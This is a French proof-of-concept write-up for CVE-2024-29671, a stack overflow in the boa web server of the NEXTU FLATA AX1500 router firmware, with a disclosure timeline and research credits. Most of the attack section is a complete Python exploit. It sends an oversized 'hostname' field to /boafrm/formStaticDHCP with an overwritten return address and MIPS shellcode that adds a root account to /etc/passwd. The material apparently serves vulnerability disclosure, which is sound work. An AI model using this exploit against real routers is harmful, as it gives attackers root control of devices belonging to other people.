
Ceci est un POC de CVE-2024-29671
Ce document décrit comment la vulnérabilité CVE-2024-29671 a été exploitée dans le firmware du routeur NEXTU FLATA AX1500.
Ce routeur est basé sur l'architecture MIPS utilisant le chipset Realtek en Little-Endian.
La version du firmware du routeur cible est v1.0.2.
Ce firmware inclut un serveur web embarqué nommé "boa", dont la dernière version date de 2005.
Cependant, ce routeur utilise le serveur web boa pour fournir un service de page web d'administration qui contrôle le firmware du routeur.
L'état de sécurité du binaire "boa" est le suivant.
Fig 1. Résultat checksec du binaire du serveur web boa
La cause du débordement de pile est que la vérification de la valeur de longueur n'a pas été effectuée lors de la copie du contenu du paramètre hostname à l'aide de strcpy() dans la fonction 0x00411c00 formStaticDHCP. Cela se produit lorsque le gestionnaire de requêtes traite les requêtes de formulaire dans le serveur web boa.
Fig 2. Emplacement du débordement de pile
Fig 3. Vue de la mémoire de la pile avant que le débordement de pile ne se produise.
(La ligne blanche est la zone d'adresse RET)

Fig 4. Vue de la mémoire de la pile après le débordement de pile.
Comme vous pouvez le voir à l'adresse de pile 0x7ffef7dc, qui stockait l'adresse RET du gestionnaire, les données sont débordées par 0x42('B').
Si un attaquant insère un code d'exécution à distance et ajoute l'adresse de réécriture dans la zone RET à la valeur du paramètre 'hostname' de la requête POST /boafrm/formStaticDHCP, le code arbitraire sera exécuté en tant que root.
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
Cette vulnérabilité provoque des problèmes de RCE et de DOS.
2024-03-17 : Demande de numéro CVE
2024-03-22 : Attribution du numéro CVE - CVE-2024-29671
2024-03 ~ 2024-05 : Le rapport est remis à l'entreprise
Ku In Hoe
Professeur assistant Seonghoon Jeong (Université des femmes de Sookmyung)